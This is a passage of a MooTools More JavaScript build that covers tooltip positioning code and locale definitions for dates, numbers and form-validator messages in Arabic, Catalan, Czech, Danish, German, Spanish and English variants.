		element = element.getParent();
		if (!element || element == document.body) return;
		if (element.retrieve('tip:enter')) element.fireEvent('mouseenter', event);
		else this.fireForParent(event, element);
	},

	elementMove: function(event, element){
		this.position(event);
	},

	position: function(event){
		if (!this.tip) document.id(this);

		var size = window.getSize(), scroll = window.getScroll(),
			tip = {x: this.tip.offsetWidth, y: this.tip.offsetHeight},
			props = {x: 'left', y: 'top'},
			bounds = {y: false, x2: false, y2: false, x: false},
			obj = {};

		for (var z in props){
			obj[props[z]] = event.page[z] + this.options.offset[z];
			if (obj[props[z]] < 0) bounds[z] = true;
			if ((obj[props[z]] + tip[z] - scroll[z]) > size[z] - this.options.windowPadding[z]){
				obj[props[z]] = event.page[z] - this.options.offset[z] - tip[z];
				bounds[z+'2'] = true;
			}
		}

		this.fireEvent('bound', bounds);
		this.tip.setStyles(obj);
	},

	fill: function(element, contents){
		if (typeof contents == 'string') element.set('html', contents);
		else element.adopt(contents);
	},

	show: function(element){
		if (!this.tip) document.id(this);
		if (!this.tip.getParent()) this.tip.inject(document.body);
		this.fireEvent('show', [this.tip, element]);
	},

	hide: function(element){
		if (!this.tip) document.id(this);
		this.fireEvent('hide', [this.tip, element]);
	}

});

})();


/*
---

script: Locale.Set.From.js

name: Locale.Set.From

description: Provides an alternative way to create Locale.Set objects.

license: MIT-style license

authors:
  - Tim Wienk

requires:
  - Core/JSON
  - /Locale

provides: Locale.Set.From

...
*/

(function(){

var parsers = {
	'json': JSON.decode
};

Locale.Set.defineParser = function(name, fn){
	parsers[name] = fn;
};

Locale.Set.from = function(set, type){
	if (instanceOf(set, Locale.Set)) return set;

	if (!type && typeOf(set) == 'string') type = 'json';
	if (parsers[type]) set = parsers[type](set);

	var locale = new Locale.Set;

	locale.sets = set.sets || {};

	if (set.inherits){
		locale.inherits.locales = Array.from(set.inherits.locales);
		locale.inherits.sets = set.inherits.sets || {};
	}

	return locale;
};

})();


/*
---

name: Locale.ar.Date

description: Date messages for Arabic.

license: MIT-style license

authors:
  - Chafik Barbar

requires:
  - /Locale

provides: [Locale.ar.Date]

...
*/

Locale.define('ar', 'Date', {

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M'

});


/*
---

name: Locale.ar.Form.Validator

description: Form Validator messages for Arabic.

license: MIT-style license

authors:
  - Chafik Barbar

requires:
  - /Locale

provides: [Locale.ar.Form.Validator]

...
*/

Locale.define('ar', 'FormValidator', {

	required: 'هذا الحقل مطلوب.',
	minLength: 'رجاءً إدخال {minLength} أحرف على الأقل (تم إدخال {length} أحرف).',
	maxLength: 'الرجاء عدم إدخال أكثر من {maxLength} أحرف (تم إدخال {length} أحرف).',
	integer: 'الرجاء إدخال عدد صحيح في هذا الحقل. أي رقم ذو كسر عشري أو مئوي (مثال 1.25 ) غير مسموح.',
	numeric: 'الرجاء إدخال قيم رقمية في هذا الحقل (مثال "1" أو "1.1" أو "-1" أو "-1.1").',
	digits: 'الرجاء أستخدام قيم رقمية وعلامات ترقيمية فقط في هذا الحقل (مثال, رقم هاتف مع نقطة أو شحطة)',
	alpha: 'الرجاء أستخدام أحرف فقط (ا-ي) في هذا الحقل. أي فراغات أو علامات غير مسموحة.',
	alphanum: 'الرجاء أستخدام أحرف فقط (ا-ي) أو أرقام (0-9) فقط في هذا الحقل. أي فراغات أو علامات غير مسموحة.',
	dateSuchAs: 'الرجاء إدخال تاريخ صحيح كالتالي {date}',
	dateInFormatMDY: 'الرجاء إدخال تاريخ صحيح (مثال, 31-12-1999)',
	email: 'الرجاء إدخال بريد إلكتروني صحيح.',
	url: 'الرجاء إدخال عنوان إلكتروني صحيح مثل http://www.example.com',
	currencyDollar: 'الرجاء إدخال قيمة $ صحيحة. مثال, 100.00$',
	oneRequired: 'الرجاء إدخال قيمة في أحد هذه الحقول على الأقل.',
	errorPrefix: 'خطأ: ',
	warningPrefix: 'تحذير: '

});


/*
---

name: Locale.ca-CA.Date

description: Date messages for Catalan.

license: MIT-style license

authors:
  - Ãlfons Sanchez

requires:
  - /Locale

provides: [Locale.ca-CA.Date]

...
*/

Locale.define('ca-CA', 'Date', {

	months: ['Gener', 'Febrer', 'Març', 'Abril', 'Maig', 'Juny', 'Juli', 'Agost', 'Setembre', 'Octubre', 'Novembre', 'Desembre'],
	months_abbr: ['gen.', 'febr.', 'març', 'abr.', 'maig', 'juny', 'jul.', 'ag.', 'set.', 'oct.', 'nov.', 'des.'],
	days: ['Diumenge', 'Dilluns', 'Dimarts', 'Dimecres', 'Dijous', 'Divendres', 'Dissabte'],
	days_abbr: ['dg', 'dl', 'dt', 'dc', 'dj', 'dv', 'ds'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 0,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'fa menys d`un minut',
	minuteAgo: 'fa un minut',
	minutesAgo: 'fa {delta} minuts',
	hourAgo: 'fa un hora',
	hoursAgo: 'fa unes {delta} hores',
	dayAgo: 'fa un dia',
	daysAgo: 'fa {delta} dies',

	lessThanMinuteUntil: 'menys d`un minut des d`ara',
	minuteUntil: 'un minut des d`ara',
	minutesUntil: '{delta} minuts des d`ara',
	hourUntil: 'un hora des d`ara',
	hoursUntil: 'unes {delta} hores des d`ara',
	dayUntil: '1 dia des d`ara',
	daysUntil: '{delta} dies des d`ara'

});


/*
---

name: Locale.ca-CA.Form.Validator

description: Form Validator messages for Catalan.

license: MIT-style license

authors:
  - Miquel Hudin
  - Ãlfons Sanchez

requires:
  - /Locale

provides: [Locale.ca-CA.Form.Validator]

...
*/

Locale.define('ca-CA', 'FormValidator', {

	required: 'Aquest camp es obligatori.',
	minLength: 'Per favor introdueix al menys {minLength} caracters (has introduit {length} caracters).',
	maxLength: 'Per favor introdueix no mes de {maxLength} caracters (has introduit {length} caracters).',
	integer: 'Per favor introdueix un nombre enter en aquest camp. Nombres amb decimals (p.e. 1,25) no estan permesos.',
	numeric: 'Per favor introdueix sols valors numerics en aquest camp (p.e. "1" o "1,1" o "-1" o "-1,1").',
	digits: 'Per favor usa sols numeros i puntuacio en aquest camp (per exemple, un nombre de telefon amb guions i punts no esta permes).',
	alpha: 'Per favor utilitza lletres nomes (a-z) en aquest camp. No s´admiteixen espais ni altres caracters.',
	alphanum: 'Per favor, utilitza nomes lletres (a-z) o numeros (0-9) en aquest camp. No s´admiteixen espais ni altres caracters.',
	dateSuchAs: 'Per favor introdueix una data valida com {date}',
	dateInFormatMDY: 'Per favor introdueix una data valida com DD/MM/YYYY (p.e. "31/12/1999")',
	email: 'Per favor, introdueix una adreça de correu electronic valida. Per exemple, "fred@domain.com".',
	url: 'Per favor introdueix una URL valida com http://www.example.com.',
	currencyDollar: 'Per favor introdueix una quantitat valida de €. Per exemple €100,00 .',
	oneRequired: 'Per favor introdueix alguna cosa per al menys una d´aquestes entrades.',
	errorPrefix: 'Error: ',
	warningPrefix: 'Avis: ',

	// Form.Validator.Extras
	noSpace: 'No poden haver espais en aquesta entrada.',
	reqChkByNode: 'No hi han elements seleccionats.',
	requiredChk: 'Aquest camp es obligatori.',
	reqChkByName: 'Per favor selecciona una {label}.',
	match: 'Aquest camp necessita coincidir amb el camp {matchName}',
	startDate: 'la data de inici',
	endDate: 'la data de fi',
	currendDate: 'la data actual',
	afterDate: 'La data deu ser igual o posterior a {label}.',
	beforeDate: 'La data deu ser igual o anterior a {label}.',
	startMonth: 'Per favor selecciona un mes d´orige',
	sameMonth: 'Aquestes dos dates deuen estar dins del mateix mes - deus canviar una o altra.'

});


/*
---

name: Locale.cs-CZ.Date

description: Date messages for Czech.

license: MIT-style license

authors:
  - Jan Černý chemiX
  - Christopher Zukowski

requires:
  - /Locale

provides: [Locale.cs-CZ.Date]

...
*/
(function(){

// Czech language pluralization rules, see http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html
// one -> n is 1;            1
// few -> n in 2..4;         2-4
// other -> everything else  0, 5-999, 1.31, 2.31, 5.31...
var pluralize = function (n, one, few, other){
	if (n == 1) return one;
	else if (n == 2 || n == 3 || n == 4) return few;
	else return other;
};

Locale.define('cs-CZ', 'Date', {

	months: ['Leden', 'Únor', 'Březen', 'Duben', 'Květen', 'Červen', 'Červenec', 'Srpen', 'Září', 'Říjen', 'Listopad', 'Prosinec'],
	months_abbr: ['ledna', 'února', 'března', 'dubna', 'května', 'června', 'července', 'srpna', 'září', 'října', 'listopadu', 'prosince'],
	days: ['Neděle', 'Pondělí', 'Úterý', 'Středa', 'Čtvrtek', 'Pátek', 'Sobota'],
	days_abbr: ['ne', 'po', 'út', 'st', 'čt', 'pá', 'so'],

	// Culture's date order: DD.MM.YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H:%M',
	AM: 'dop.',
	PM: 'odp.',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'před chvílí',
	minuteAgo: 'přibližně před minutou',
	minutesAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'minutou', 'minutami', 'minutami'); },
	hourAgo: 'přibližně před hodinou',
	hoursAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'hodinou', 'hodinami', 'hodinami'); },
	dayAgo: 'před dnem',
	daysAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'dnem', 'dny', 'dny'); },
	weekAgo: 'před týdnem',
	weeksAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'týdnem', 'týdny', 'týdny'); },
	monthAgo: 'před měsícem',
	monthsAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'měsícem', 'měsíci', 'měsíci'); },
	yearAgo: 'před rokem',
	yearsAgo: function(delta){ return 'před {delta} ' + pluralize(delta, 'rokem', 'lety', 'lety'); },

	lessThanMinuteUntil: 'za chvíli',
	minuteUntil: 'přibližně za minutu',
	minutesUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'minutu', 'minuty', 'minut'); },
	hourUntil: 'přibližně za hodinu',
	hoursUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'hodinu', 'hodiny', 'hodin'); },
	dayUntil: 'za den',
	daysUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'den', 'dny', 'dnů'); },
	weekUntil: 'za týden',
	weeksUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'týden', 'týdny', 'týdnů'); },
	monthUntil: 'za měsíc',
	monthsUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'měsíc', 'měsíce', 'měsíců'); },
	yearUntil: 'za rok',
	yearsUntil: function(delta){ return 'za {delta} ' + pluralize(delta, 'rok', 'roky', 'let'); }
});

})();


/*
---

name: Locale.cs-CZ.Form.Validator

description: Form Validator messages for Czech.

license: MIT-style license

authors:
  - Jan Černý chemiX

requires:
  - /Locale

provides: [Locale.cs-CZ.Form.Validator]

...
*/

Locale.define('cs-CZ', 'FormValidator', {

	required: 'Tato položka je povinná.',
	minLength: 'Zadejte prosím alespoň {minLength} znaků (napsáno {length} znaků).',
	maxLength: 'Zadejte prosím méně než {maxLength} znaků (nápsáno {length} znaků).',
	integer: 'Zadejte prosím celé číslo. Desetinná čísla (např. 1.25) nejsou povolena.',
	numeric: 'Zadejte jen číselné hodnoty (tj. "1" nebo "1.1" nebo "-1" nebo "-1.1").',
	digits: 'Zadejte prosím pouze čísla a interpunkční znaménka(například telefonní číslo s pomlčkami nebo tečkami je povoleno).',
	alpha: 'Zadejte prosím pouze písmena (a-z). Mezery nebo jiné znaky nejsou povoleny.',
	alphanum: 'Zadejte prosím pouze písmena (a-z) nebo číslice (0-9). Mezery nebo jiné znaky nejsou povoleny.',
	dateSuchAs: 'Zadejte prosím platné datum jako {date}',
	dateInFormatMDY: 'Zadejte prosím platné datum jako MM / DD / RRRR (tj. "12/31/1999")',
	email: 'Zadejte prosím platnou e-mailovou adresu. Například "fred@domain.com".',
	url: 'Zadejte prosím platnou URL adresu jako http://www.example.com.',
	currencyDollar: 'Zadejte prosím platnou částku. Například $100.00.',
	oneRequired: 'Zadejte prosím alespoň jednu hodnotu pro tyto položky.',
	errorPrefix: 'Chyba: ',
	warningPrefix: 'Upozornění: ',

	// Form.Validator.Extras
	noSpace: 'V této položce nejsou povoleny mezery',
	reqChkByNode: 'Nejsou vybrány žádné položky.',
	requiredChk: 'Tato položka je vyžadována.',
	reqChkByName: 'Prosím vyberte {label}.',
	match: 'Tato položka se musí shodovat s položkou {matchName}',
	startDate: 'datum zahájení',
	endDate: 'datum ukončení',
	currendDate: 'aktuální datum',
	afterDate: 'Datum by mělo být stejné nebo větší než {label}.',
	beforeDate: 'Datum by mělo být stejné nebo menší než {label}.',
	startMonth: 'Vyberte počáteční měsíc.',
	sameMonth: 'Tyto dva datumy musí být ve stejném měsíci - změňte jeden z nich.',
	creditcard: 'Zadané číslo kreditní karty je neplatné. Prosím opravte ho. Bylo zadáno {length} čísel.'

});


/*
---

name: Locale.da-DK.Date

description: Date messages for Danish.

license: MIT-style license

authors:
  - Martin Overgaard
  - Henrik Hansen

requires:
  - /Locale

provides: [Locale.da-DK.Date]

...
*/

Locale.define('da-DK', 'Date', {

	months: ['Januar', 'Februar', 'Marts', 'April', 'Maj', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'December'],
	months_abbr: ['jan.', 'feb.', 'mar.', 'apr.', 'maj.', 'jun.', 'jul.', 'aug.', 'sep.', 'okt.', 'nov.', 'dec.'],
	days: ['Søndag', 'Mandag', 'Tirsdag', 'Onsdag', 'Torsdag', 'Fredag', 'Lørdag'],
	days_abbr: ['søn', 'man', 'tir', 'ons', 'tor', 'fre', 'lør'],

	// Culture's date order: DD-MM-YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d-%m-%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'mindre end et minut siden',
	minuteAgo: 'omkring et minut siden',
	minutesAgo: '{delta} minutter siden',
	hourAgo: 'omkring en time siden',
	hoursAgo: 'omkring {delta} timer siden',
	dayAgo: '1 dag siden',
	daysAgo: '{delta} dage siden',
	weekAgo: '1 uge siden',
	weeksAgo: '{delta} uger siden',
	monthAgo: '1 måned siden',
	monthsAgo: '{delta} måneder siden',
	yearAgo: '1 år siden',
	yearsAgo: '{delta} år siden',

	lessThanMinuteUntil: 'mindre end et minut fra nu',
	minuteUntil: 'omkring et minut fra nu',
	minutesUntil: '{delta} minutter fra nu',
	hourUntil: 'omkring en time fra nu',
	hoursUntil: 'omkring {delta} timer fra nu',
	dayUntil: '1 dag fra nu',
	daysUntil: '{delta} dage fra nu',
	weekUntil: '1 uge fra nu',
	weeksUntil: '{delta} uger fra nu',
	monthUntil: '1 måned fra nu',
	monthsUntil: '{delta} måneder fra nu',
	yearUntil: '1 år fra nu',
	yearsUntil: '{delta} år fra nu'

});


/*
---

name: Locale.da-DK.Form.Validator

description: Form Validator messages for Danish.

license: MIT-style license

authors:
  - Martin Overgaard

requires:
  - /Locale

provides: [Locale.da-DK.Form.Validator]

...
*/

Locale.define('da-DK', 'FormValidator', {

	required: 'Feltet skal udfyldes.',
	minLength: 'Skriv mindst {minLength} tegn (du skrev {length} tegn).',
	maxLength: 'Skriv maksimalt {maxLength} tegn (du skrev {length} tegn).',
	integer: 'Skriv et tal i dette felt. Decimal tal (f.eks. 1.25) er ikke tilladt.',
	numeric: 'Skriv kun tal i dette felt (i.e. "1" eller "1.1" eller "-1" eller "-1.1").',
	digits: 'Skriv kun tal og tegnsætning i dette felt (eksempel, et telefon nummer med bindestreg eller punktum er tilladt).',
	alpha: 'Skriv kun bogstaver (a-z) i dette felt. Mellemrum og andre tegn er ikke tilladt.',
	alphanum: 'Skriv kun bogstaver (a-z) eller tal (0-9) i dette felt. Mellemrum og andre tegn er ikke tilladt.',
	dateSuchAs: 'Skriv en gyldig dato som {date}',
	dateInFormatMDY: 'Skriv dato i formatet DD-MM-YYYY (f.eks. "31-12-1999")',
	email: 'Skriv en gyldig e-mail adresse. F.eks "fred@domain.com".',
	url: 'Skriv en gyldig URL adresse. F.eks "http://www.example.com".',
	currencyDollar: 'Skriv et gldigt beløb. F.eks Kr.100.00 .',
	oneRequired: 'Et eller flere af felterne i denne formular skal udfyldes.',
	errorPrefix: 'Fejl: ',
	warningPrefix: 'Advarsel: ',

	// Form.Validator.Extras
	noSpace: 'Der må ikke benyttes mellemrum i dette felt.',
	reqChkByNode: 'Foretag et valg.',
	requiredChk: 'Dette felt skal udfyldes.',
	reqChkByName: 'Vælg en {label}.',
	match: 'Dette felt skal matche {matchName} feltet',
	startDate: 'start dato',
	endDate: 'slut dato',
	currendDate: 'dags dato',
	afterDate: 'Datoen skal være større end eller lig med {label}.',
	beforeDate: 'Datoen skal være mindre end eller lig med {label}.',
	startMonth: 'Vælg en start måned',
	sameMonth: 'De valgte datoer skal være i samme måned - skift en af dem.'

});


/*
---

name: Locale.de-DE.Date

description: Date messages for German.

license: MIT-style license

authors:
  - Christoph Pojer
  - Frank Rossi
  - Ulrich Petri
  - Fabian Beiner

requires:
  - /Locale

provides: [Locale.de-DE.Date]

...
*/

Locale.define('de-DE', 'Date', {

	months: ['Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
	months_abbr: ['Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez'],
	days: ['Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag'],
	days_abbr: ['So.', 'Mo.', 'Di.', 'Mi.', 'Do.', 'Fr.', 'Sa.'],

	// Culture's date order: DD.MM.YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H:%M',
	AM: 'vormittags',
	PM: 'nachmittags',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'vor weniger als einer Minute',
	minuteAgo: 'vor einer Minute',
	minutesAgo: 'vor {delta} Minuten',
	hourAgo: 'vor einer Stunde',
	hoursAgo: 'vor {delta} Stunden',
	dayAgo: 'vor einem Tag',
	daysAgo: 'vor {delta} Tagen',
	weekAgo: 'vor einer Woche',
	weeksAgo: 'vor {delta} Wochen',
	monthAgo: 'vor einem Monat',
	monthsAgo: 'vor {delta} Monaten',
	yearAgo: 'vor einem Jahr',
	yearsAgo: 'vor {delta} Jahren',

	lessThanMinuteUntil: 'in weniger als einer Minute',
	minuteUntil: 'in einer Minute',
	minutesUntil: 'in {delta} Minuten',
	hourUntil: 'in ca. einer Stunde',
	hoursUntil: 'in ca. {delta} Stunden',
	dayUntil: 'in einem Tag',
	daysUntil: 'in {delta} Tagen',
	weekUntil: 'in einer Woche',
	weeksUntil: 'in {delta} Wochen',
	monthUntil: 'in einem Monat',
	monthsUntil: 'in {delta} Monaten',
	yearUntil: 'in einem Jahr',
	yearsUntil: 'in {delta} Jahren'

});


/*
---

name: Locale.de-CH.Date

description: Date messages for German (Switzerland).

license: MIT-style license

authors:
  - Michael van der Weg

requires:
  - /Locale
  - /Locale.de-DE.Date

provides: [Locale.de-CH.Date]

...
*/

Locale.define('de-CH').inherit('de-DE', 'Date');


/*
---

name: Locale.de-CH.Form.Validator

description: Form Validator messages for German (Switzerland).

license: MIT-style license

authors:
  - Michael van der Weg

requires:
  - /Locale

provides: [Locale.de-CH.Form.Validator]

...
*/

Locale.define('de-CH', 'FormValidator', {

	required: 'Dieses Feld ist obligatorisch.',
	minLength: 'Geben Sie bitte mindestens {minLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).',
	maxLength: 'Bitte geben Sie nicht mehr als {maxLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).',
	integer: 'Geben Sie bitte eine ganze Zahl ein. Dezimalzahlen (z.B. 1.25) sind nicht erlaubt.',
	numeric: 'Geben Sie bitte nur Zahlenwerte in dieses Eingabefeld ein (z.B. &quot;1&quot;, &quot;1.1&quot;, &quot;-1&quot; oder &quot;-1.1&quot;).',
	digits: 'Benutzen Sie bitte nur Zahlen und Satzzeichen in diesem Eingabefeld (erlaubt ist z.B. eine Telefonnummer mit Bindestrichen und Punkten).',
	alpha: 'Benutzen Sie bitte nur Buchstaben (a-z) in diesem Feld. Leerzeichen und andere Zeichen sind nicht erlaubt.',
	alphanum: 'Benutzen Sie bitte nur Buchstaben (a-z) und Zahlen (0-9) in diesem Eingabefeld. Leerzeichen und andere Zeichen sind nicht erlaubt.',
	dateSuchAs: 'Geben Sie bitte ein g&uuml;ltiges Datum ein. Wie zum Beispiel {date}',
	dateInFormatMDY: 'Geben Sie bitte ein g&uuml;ltiges Datum ein. Wie zum Beispiel TT.MM.JJJJ (z.B. &quot;31.12.1999&quot;)',
	email: 'Geben Sie bitte eine g&uuml;ltige E-Mail Adresse ein. Wie zum Beispiel &quot;maria@bernasconi.ch&quot;.',
	url: 'Geben Sie bitte eine g&uuml;ltige URL ein. Wie zum Beispiel http://www.example.com.',
	currencyDollar: 'Geben Sie bitte einen g&uuml;ltigen Betrag in Schweizer Franken ein. Wie zum Beispiel 100.00 CHF .',
	oneRequired: 'Machen Sie f&uuml;r mindestens eines der Eingabefelder einen Eintrag.',
	errorPrefix: 'Fehler: ',
	warningPrefix: 'Warnung: ',

	// Form.Validator.Extras
	noSpace: 'In diesem Eingabefeld darf kein Leerzeichen sein.',
	reqChkByNode: 'Es wurden keine Elemente gew&auml;hlt.',
	requiredChk: 'Dieses Feld ist obligatorisch.',
	reqChkByName: 'Bitte w&auml;hlen Sie ein {label}.',
	match: 'Dieses Eingabefeld muss mit dem Feld {matchName} &uuml;bereinstimmen.',
	startDate: 'Das Anfangsdatum',
	endDate: 'Das Enddatum',
	currendDate: 'Das aktuelle Datum',
	afterDate: 'Das Datum sollte zur gleichen Zeit oder sp&auml;ter sein {label}.',
	beforeDate: 'Das Datum sollte zur gleichen Zeit oder fr&uuml;her sein {label}.',
	startMonth: 'W&auml;hlen Sie bitte einen Anfangsmonat',
	sameMonth: 'Diese zwei Datumsangaben m&uuml;ssen im selben Monat sein - Sie m&uuml;ssen eine von beiden ver&auml;ndern.',
	creditcard: 'Die eingegebene Kreditkartennummer ist ung&uuml;ltig. Bitte &uuml;berpr&uuml;fen Sie diese und versuchen Sie es erneut. {length} Zahlen eingegeben.'

});


/*
---

name: Locale.de-DE.Form.Validator

description: Form Validator messages for German.

license: MIT-style license

authors:
  - Frank Rossi
  - Ulrich Petri
  - Fabian Beiner

requires:
  - /Locale

provides: [Locale.de-DE.Form.Validator]

...
*/

Locale.define('de-DE', 'FormValidator', {

	required: 'Dieses Eingabefeld muss ausgefüllt werden.',
	minLength: 'Geben Sie bitte mindestens {minLength} Zeichen ein (Sie haben nur {length} Zeichen eingegeben).',
	maxLength: 'Geben Sie bitte nicht mehr als {maxLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).',
	integer: 'Geben Sie in diesem Eingabefeld bitte eine ganze Zahl ein. Dezimalzahlen (z.B. "1.25") sind nicht erlaubt.',
	numeric: 'Geben Sie in diesem Eingabefeld bitte nur Zahlenwerte (z.B. "1", "1.1", "-1" oder "-1.1") ein.',
	digits: 'Geben Sie in diesem Eingabefeld bitte nur Zahlen und Satzzeichen ein (z.B. eine Telefonnummer mit Bindestrichen und Punkten ist erlaubt).',
	alpha: 'Geben Sie in diesem Eingabefeld bitte nur Buchstaben (a-z) ein. Leerzeichen und andere Zeichen sind nicht erlaubt.',
	alphanum: 'Geben Sie in diesem Eingabefeld bitte nur Buchstaben (a-z) und Zahlen (0-9) ein. Leerzeichen oder andere Zeichen sind nicht erlaubt.',
	dateSuchAs: 'Geben Sie bitte ein gültiges Datum ein (z.B. "{date}").',
	dateInFormatMDY: 'Geben Sie bitte ein gültiges Datum im Format TT.MM.JJJJ ein (z.B. "31.12.1999").',
	email: 'Geben Sie bitte eine gültige E-Mail-Adresse ein (z.B. "max@mustermann.de").',
	url: 'Geben Sie bitte eine gültige URL ein (z.B. "http://www.example.com").',
	currencyDollar: 'Geben Sie bitte einen gültigen Betrag in EURO ein (z.B. 100.00€).',
	oneRequired: 'Bitte füllen Sie mindestens ein Eingabefeld aus.',
	errorPrefix: 'Fehler: ',
	warningPrefix: 'Warnung: ',

	// Form.Validator.Extras
	noSpace: 'Es darf kein Leerzeichen in diesem Eingabefeld sein.',
	reqChkByNode: 'Es wurden keine Elemente gewählt.',
	requiredChk: 'Dieses Feld muss ausgefüllt werden.',
	reqChkByName: 'Bitte wählen Sie ein {label}.',
	match: 'Dieses Eingabefeld muss mit dem {matchName} Eingabefeld übereinstimmen.',
	startDate: 'Das Anfangsdatum',
	endDate: 'Das Enddatum',
	currendDate: 'Das aktuelle Datum',
	afterDate: 'Das Datum sollte zur gleichen Zeit oder später sein als {label}.',
	beforeDate: 'Das Datum sollte zur gleichen Zeit oder früher sein als {label}.',
	startMonth: 'Wählen Sie bitte einen Anfangsmonat',
	sameMonth: 'Diese zwei Datumsangaben müssen im selben Monat sein - Sie müssen eines von beiden verändern.',
	creditcard: 'Die eingegebene Kreditkartennummer ist ungültig. Bitte überprüfen Sie diese und versuchen Sie es erneut. {length} Zahlen eingegeben.'

});


/*
---

name: Locale.EU.Number

description: Number messages for Europe.

license: MIT-style license

authors:
  - Arian Stolwijk

requires:
  - /Locale

provides: [Locale.EU.Number]

...
*/

Locale.define('EU', 'Number', {

	decimal: ',',
	group: '.',

	currency: {
		prefix: '€ '
	}

});


/*
---

name: Locale.de-DE.Number

description: Number messages for German.

license: MIT-style license

authors:
  - Christoph Pojer

requires:
  - /Locale
  - /Locale.EU.Number

provides: [Locale.de-DE.Number]

...
*/

Locale.define('de-DE').inherit('EU', 'Number');


/*
---

name: Locale.en-GB.Date

description: Date messages for British English.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Locale
  - /Locale.en-US.Date

provides: [Locale.en-GB.Date]

...
*/

Locale.define('en-GB', 'Date', {

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M'

}).inherit('en-US', 'Date');


/*
---

name: Locale.es-ES.Date

description: Date messages for Spanish.

license: MIT-style license

authors:
  - Ãlfons Sanchez

requires:
  - /Locale

provides: [Locale.es-ES.Date]

...
*/

Locale.define('es-ES', 'Date', {

	months: ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'],
	months_abbr: ['ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic'],
	days: ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'],
	days_abbr: ['dom', 'lun', 'mar', 'mié', 'juv', 'vie', 'sáb'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'hace menos de un minuto',
	minuteAgo: 'hace un minuto',
	minutesAgo: 'hace {delta} minutos',
	hourAgo: 'hace una hora',
	hoursAgo: 'hace unas {delta} horas',
	dayAgo: 'hace un día',
	daysAgo: 'hace {delta} días',
	weekAgo: 'hace una semana',
	weeksAgo: 'hace unas {delta} semanas',
	monthAgo: 'hace un mes',
	monthsAgo: 'hace {delta} meses',
	yearAgo: 'hace un año',
	yearsAgo: 'hace {delta} años',

	lessThanMinuteUntil: 'menos de un minuto desde ahora',
	minuteUntil: 'un minuto desde ahora',
	minutesUntil: '{delta} minutos desde ahora',
	hourUntil: 'una hora desde ahora',
	hoursUntil: 'unas {delta} horas desde ahora',
	dayUntil: 'un día desde ahora',
	daysUntil: '{delta} días desde ahora',
	weekUntil: 'una semana desde ahora',
	weeksUntil: 'unas {delta} semanas desde ahora',
	monthUntil: 'un mes desde ahora',
	monthsUntil: '{delta} meses desde ahora',
	yearUntil: 'un año desde ahora',
	yearsUntil: '{delta} años desde ahora'

});


/*
---

name: Locale.es-AR.Date

description: Date messages for Spanish (Argentina).

license: MIT-style license

authors:
  - Ãlfons Sanchez
  - Diego Massanti

requires:
  - /Locale
  - /Locale.es-ES.Date

provides: [Locale.es-AR.Date]

...
*/

Locale.define('es-AR').inherit('es-ES', 'Date');


/*
---

name: Locale.es-AR.Form.Validator

description: Form Validator messages for Spanish (Argentina).

license: MIT-style license

authors:
  - Diego Massanti

requires:
  - /Locale

provides: [Locale.es-AR.Form.Validator]

...
*/

Locale.define('es-AR', 'FormValidator', {

	required: 'Este campo es obligatorio.',
	minLength: 'Por favor ingrese al menos {minLength} caracteres (ha ingresado {length} caracteres).',
	maxLength: 'Por favor no ingrese más de {maxLength} caracteres (ha ingresado {length} caracteres).',
	integer: 'Por favor ingrese un número entero en este campo. Números con decimales (p.e. 1,25) no se permiten.',
	numeric: 'Por favor ingrese solo valores numéricos en este campo (p.e. "1" o "1,1" o "-1" o "-1,1").',
	digits: 'Por favor use sólo números y puntuación en este campo (por ejemplo, un número de teléfono con guiones y/o puntos no está permitido).',
	alpha: 'Por favor use sólo letras (a-z) en este campo. No se permiten espacios ni otros caracteres.',
	alphanum: 'Por favor, usa sólo letras (a-z) o números (0-9) en este campo. No se permiten espacios u otros caracteres.',
